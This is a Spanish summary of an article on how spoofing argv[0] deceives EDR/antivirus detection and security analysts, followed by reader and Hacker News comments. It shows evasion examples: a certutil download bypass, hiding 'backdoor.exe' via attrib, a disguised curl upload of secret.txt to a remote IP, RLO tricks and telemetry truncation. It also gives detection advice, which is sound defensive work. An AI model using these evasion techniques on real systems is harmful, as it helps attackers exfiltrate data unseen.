¿Por qué usar `argv[0]`?
(wietzebeukema.nl)- La línea de comandos es extraña
- Windows es especialmente conocido por este tipo de problema, pero la forma en que la mayoría de los sistemas operativos implementan la línea de comandos puede causar problemas de seguridad
- Este artículo explica los problemas de la convención que reserva el primer argumento de la línea de comandos de un proceso,
argv[0], para representar el nombre del proceso
argv[0] es un relicto del pasado
- Cuando un programa se inicia, recibe argumentos de línea de comandos y puede acceder a ellos internamente; de hecho, es una de las primeras piezas de información que se le proporcionan al arrancar
- Es un mecanismo principal para cambiar el flujo de ejecución del programa
- Si observamos la familia de llamadas al sistema
execadoptada en POSIX y DOS/Win32int execv(const char *path, char *const argv[]);- Para llamar a esta función
execv, hay que pasar al programa la ruta completa de la aplicación a ejecutar comopathy un vector con los argumentos comoargv, y devuelve un entero con un código de estado - Según esta especificación, si el programa se ejecuta correctamente como resultado de esta llamada, el programa de destino se invoca mediante
int main (int argc, char *argv[]);
- En todos los estándares de C,
argcno es negativo,argv[argc]es un puntero nulo y, siargces mayor que 0,argv[0]representa el nombre del programa invocado - Algunos podrían cuestionar la necesidad de
argv[0]- "El nuevo proceso claramente conoce su propio nombre, entonces ¿por qué hay que pasarlo como el primer argumento del proceso que lo invoca?"
- En entornos POSIX, un programa puede invocarse mediante un enlace simbólico, así que esto sirve para ayudar al nuevo proceso a saber qué solicitud recibió
- Por ejemplo, en Debian,
shutdownyrebootestán enlazados al mismo ejecutablesystemctl, y se comportan de forma distinta según el comando con el que fueron invocados
- Esto parece una decisión de diseño cuestionable
- "¿Un programa debería comportarse distinto según su propio nombre?"
- Desde una perspectiva moderna, parece reducir la previsibilidad del software y va en contra de los principios modernos de diseño
- Desde la perspectiva de las décadas de 1970 y 1980, puede verse como un intento de minimizar la duplicación porque los recursos informáticos eran escasos
- Pero hoy en día el espacio en disco ya no es un problema tan relevante. Por ejemplo, en macOS Sonoma,
shutdownyrebootexisten como ejecutables separados - Hay debate sobre si realmente es necesario fusionar dos programas parecidos en un solo archivo, o si sería más apropiado usar argumentos de comando
- Incluso si se acepta este principio, la implementación en sí también es discutible
- Es válido preguntarse si la información de
argv[0]debería formar parte de los argumentos del proceso - Los programas que dependen de
argv[0]pueden fallar si el proceso invocador no lo configura correctamente - También hay programas que usan
argv[0]de manera incorrecta en términos de seguridad - Un enfoque mejor sería separar
argv[0]en una capacidad aparte detask_structo del PEB, para que el sistema operativo administre este valor- Esto permitiría un seguimiento coherente y reduciría el alcance de la manipulación
- Es válido preguntarse si la información de
- Sorprendentemente, el sistema operativo más cercano a hacer esto es Windows
- A diferencia de otros sistemas operativos principales, Windows no establece
argv[0]al crear un proceso nuevo - Las llamadas de API de Windows (
CreateProcess,ShellExecute) establecenargv[0]automáticamente según la ruta del ejecutable - Aunque este método es la implementación más razonable, en Windows también existe una forma de configurar manualmente
argv[0]porque adopta la llamadaexecde POSIX
- A diferencia de otros sistemas operativos principales, Windows no establece
argv[0] se ignora (en la mayoría de los casos)
- Independientemente de tu postura sobre la importancia de
argv[0], en la prácticaargv[0]es un concepto que existe y viene con problemas - En una llamada a
exec, las dos primeras de las tres condiciones mencionadas antes las maneja el sistema operativo, pero la última, la relacionada conargv[0], no se administra - Como quien llama a
execcontrola por completoargv, puede ignorar este requisito, y ni el sistema operativo ni el programa invocador o el invocado verifican esta infracción - Ejemplo de ignorar
argv[0]- Para imprimir Hello, world! usando
echo, normalmente se llama aexecv("/usr/bin/echo", ["echo", "Hello, world!"]) - Pero incluso si se llama a
execv("/usr/bin/echo", ["oopsie", "Hello, world!"]), el programaechose ejecuta normalmente e imprime Hello, world! - El programa
echofunciona ignorandoargv[0]y concentrándose solo en los argumentos a partir deargv[1] - La mayoría de los programas adoptan un enfoque similar e ignoran
argv[0]
- Para imprimir Hello, world! usando
- Ejemplos de manipulación de
argv[0]- En C y en varios lenguajes de programación y scripting existen formas de manipular
argv[0]:
python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])" perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"' ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')" bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here' - En C y en varios lenguajes de programación y scripting existen formas de manipular
- Manipular
argv[0]es sencillo y no afecta la ejecución de la mayoría de los programas. Sin embargo, desde el punto de vista de la seguridad, puede ser problemático
argv[0] puede romper los mecanismos de defensa
argv[0]puede usarse para engañar al software de seguridad. Si un usuario malicioso compromete el sistema, manipula el sistema ejecutando comandos del atacante- El software defensivo, como AV y EDR, monitorea la ejecución de procesos y detecta o bloquea ciertos comandos si se consideran dañinos. La mayoría de las soluciones detectan activamente comandos que los atacantes usan con frecuencia
- Ejemplo: uso indebido del comando
certutilcertutil, una herramienta de línea de comandos integrada por defecto en Windows, se usa con frecuencia en ataques. Se aprovecha como medio para descargar payloads externos después de obtener acceso inicial.- Microsoft Defender Antivirus bloquea la ejecución de
certutilcuando hay argumentos de línea de comandos que indican un intento de descarga de archivos. Sin embargo, sicertutilse inicia conargv[0]configurado como un espacio en blanco, Defender no lo bloquea - Esto muestra el problema que surge cuando la detección de seguridad trata el nombre del programa como parte de la línea de comandos. Por ejemplo, si la lógica de detección está construida como
command_line.contains('certutil') AND command_line.contains('-urlcache'), existe la suposición de quecertutilforma parte de la línea de comandos. Sin embargo, manipulandoargv[0], se puede evadir esa lógica de detección - Una lógica de detección más efectiva sería algo como
process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
- Evasión de detección mediante
argv[0]- La evasión de detección también es posible agregando palabras clave de ajuste en
argv[0]. Normalmente, la detección combina condiciones básicas con condiciones adicionales para filtrar falsos positivos - Por ejemplo, puede activarse una regla de detección cuando
attrib.exerealiza la acción de ocultar un archivo. Pero en la práctica también se ejecuta legítimamente con frecuencia sobre el archivodesktop.ini - Un atacante que conoce esto puede incluir
desktop.inienargv[0]para evadir la detección. Por ejemplo, puede configurarlo comoargv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']
- La evasión de detección también es posible agregando palabras clave de ajuste en
argv[0] permite hacer trampas
argv[0]puede explotarse no solo para engañar al software de seguridad, sino también a las personas- Los analistas de seguridad revisan alertas generadas por herramientas de seguridad como el software EDR, y estas alertas incluyen la línea de comandos del proceso involucrado
- La línea de comandos del proceso es información importante para que el analista decida si investigar más la alerta o descartarla
- Ejemplo: engaño en la línea de comandos
- Puede generarse una alerta por posible exfiltración de datos cuando se ejecuta el comando
curl -T secret.txt 123.45.67.89. Ese comando sube el archivosecret.txta la dirección IP 123.45.67.89 - En el mismo escenario, si
argv[0]se cambia decurlacurl localhost | grep, esto sigue siendo un comando válido. - Como el software de seguridad muestra el arreglo de línea de comandos como una cadena separada por espacios, en este caso es muy probable que el comando aparezca como
curl localhost | grep -T secret.txt 123.45.67.89 - Desde la perspectiva del analista, podría parecer que se ejecutó
curl localhosty que su resultado se envió agrep -T secret.txt 123.45.67.89. Esto puede hacer que parezca una descarga desde una dirección local, cuando en realidad se está subiendo información a una dirección remota
- Puede generarse una alerta por posible exfiltración de datos cuando se ejecuta el comando
- Uso del carácter Right-To-Left Override (RLO)
- Es posible manipular
argv[0]usando el infame carácter RLO (reordenamiento de derecha a izquierda) - Este carácter Unicode le indica a la aplicación que renderiza el texto que muestre los caracteres siguientes en orden inverso
- Si se inserta RLO en
argv[0],ping moc.elgoog.some-evil-website.compuede verse comoping moc.etisbew-live-emos.google.com - Este método no afecta la lógica de detección, pero sí puede engañar a un analista
- Es posible manipular
- Estas técnicas muestran distintas maneras de manipular
argv[0]para ocultar actividad maliciosa engañando tanto al software de seguridad como a la vista humana
argv[0] puede dañar la telemetría
- Como
argv[0]se ubica al principio de la línea de comandos, si se rellena con suficientes caracteres puede empujar todos los demás argumentos hasta el final de la línea de comandos - Esto puede ser problemático por dos motivos: primero, permite “ocultar” las partes interesantes al final de la línea de comandos para inducir al analista a no desplazarse; y, más importante aún, puede alargar lo suficiente la longitud total de la línea de comandos como para que el software de monitoreo termine recortando los argumentos realmente importantes
- Límites de longitud de la línea de comandos
- Desde Windows 7, la longitud máxima de la línea de comandos en Windows está limitada a 14,336 caracteres (aprox. 14 KiB)
- En el kernel de Linux, la longitud máxima está codificada de forma fija como 32 páginas, lo que equivale a unos 131,072 caracteres (128 KiB) en arquitecturas de 64 bits
- macOS Sonoma permite líneas de comandos de hasta 1,048,576 caracteres (1 MiB)
- Esto significa que hay muchísimo espacio arbitrario que
argv[0]puede ocupar
- Casos de daño a la telemetría
- El software de monitoreo de procesos (por ejemplo, EDR) puede registrar por completo ejecuciones con líneas de comandos largas, o recortarlas a una longitud fija para reducir la sobrecarga
- Si se registra completa una línea de comandos larga, simplemente aprovechando la longitud máxima y lanzando 1,000 procesos se puede generar 1 GiB de datos de logs
- Si se aplica recorte, los argumentos de la línea de comandos pueden quedar truncados en la telemetría. Por ejemplo, el comando
perl -e 'exec {"echo"} "_"x50000, "Hello, world!"'imprime “Hello, world!”, pero en la telemetría de la ejecución pueden registrarse solo guiones bajos o, en algunos casos, incluso una línea de comandos completamente vacía - Como los argumentos de línea de comandos realmente importantes desaparecen, ni la lógica de detección ni los analistas pueden entender lo que realmente ocurrió
Riesgos de argv[0]: prevención y detección
argv[0]intenta resolver un problema, pero termina creando muchos otros- Como es poco probable que
argv[0]desaparezca pronto, desde la perspectiva de seguridad hay que enfocarse en cómo manejarlo - Medidas preventivas
- Los desarrolladores de software pueden comparar
argv[0]con su propio nombre de archivo para verificar si fue manipulado, pero esto escala mal - El sistema operativo podría realizar esta verificación de manera más confiable. Depender de
argv[0]para cambiar el flujo del programa es algo muy poco recomendable - Lo mejor para los desarrolladores es no interactuar con
argv[0]siempre que sea posible
- Los desarrolladores de software pueden comparar
- Métodos de detección para profesionales de seguridad
- Comprender cómo funciona
argv[0]y cuáles son sus problemas es un paso importante para prevenir engaños en la línea de comandos - Si el software de seguridad proporciona los argumentos de línea de comandos como un arreglo, ciertos patrones pueden identificarse de forma confiable
- Valores de
argv[0]excesivamente largos o que incluyan caracteres sospechosos como el símbolo de tubería deben marcarse de inmediato como sospechosos - Incluso si los argumentos de línea de comandos se proporcionan como una cadena, se pueden marcar líneas de comandos que no incluyan el nombre del programa. Eso sugiere que
argv[0]fue manipulado - La sola presencia de caracteres RLO es un método de detección muy efectivo en la mayoría de los entornos
- En el caso de argumentos truncados en la línea de comandos, hay que entender cómo los manejan la solución de seguridad y el data lake, y qué efecto tiene eso sobre la telemetría generada
- Comprender cómo funciona
- Mejoras en el software defensivo
- El software defensivo debe mejorar la detección del abuso de
argv[0]. Debería ser posible bloquear la ejecución de software con valores sospechosos enargv[0]sin generar falsos positivos - Las plataformas EDR también deberían considerar excluir
argv[0]al reportar argumentos de línea de comandos. Eso elimina la mayoría de los problemas resaltados en este artículo, y además su valor forense suele ser bajo en la mayoría de los casos
- El software defensivo debe mejorar la detección del abuso de
- En última instancia, nadie quiere dolores de cabeza por culpa de
argv[0]. Nuestro software tampoco
Resumen de GN⁺
argv[0]es un relicto del pasado y contradice principios modernos de diseño de software- La mayoría de los programas ignoran
argv[0], pero eso puede generar problemas de seguridad argv[0]puede engañar tanto al software de seguridad como a las personas, y puede dañar la telemetría- Los profesionales de seguridad deben detectar el abuso de
argv[0], y el software defensivo debe manejarlo mejor
2 comentarios
Será porque soy de la vieja escuela... pero no coincido mucho con lo que plantea el autor. El problema es
exec, y se siente como si el golpe le estuviera cayendo aargv[0].Comentario de Hacker News
La objeción a leer
argv[0]requiere ignorancia del autor o una defensa muy fuerteargv[0]argv[0]se usa para ser el destino de enlaces simbólicos de cientos de comandosCon herramientas que usan
argv[0]se pueden ejecutar comandos del host desde dentro de un contenedorNo hay problema con que un programa se comporte distinto según su nombre
La objeción a
argv[0]sostiene que va en contra de los principios modernos de diseñoargv[0]para comprobar si está dentro de un virtualenv y ajustar la ruta de búsquedaargv[0]no es especialmente malo desde el punto de vista de seguridadargvargv[0]no tiene problemaargv[0]para distinguir la versión del comandobusybox usa
argv[0]en modo "shim"macOS configura varios comandos para que apunten a un solo ejecutable
argv[0]para mejorar la usabilidad del CLI y reducir la duplicación de códigoSi se elimina
argv[0], se perderían funciones útilesargv[0], los atacantes encontrarán otra forma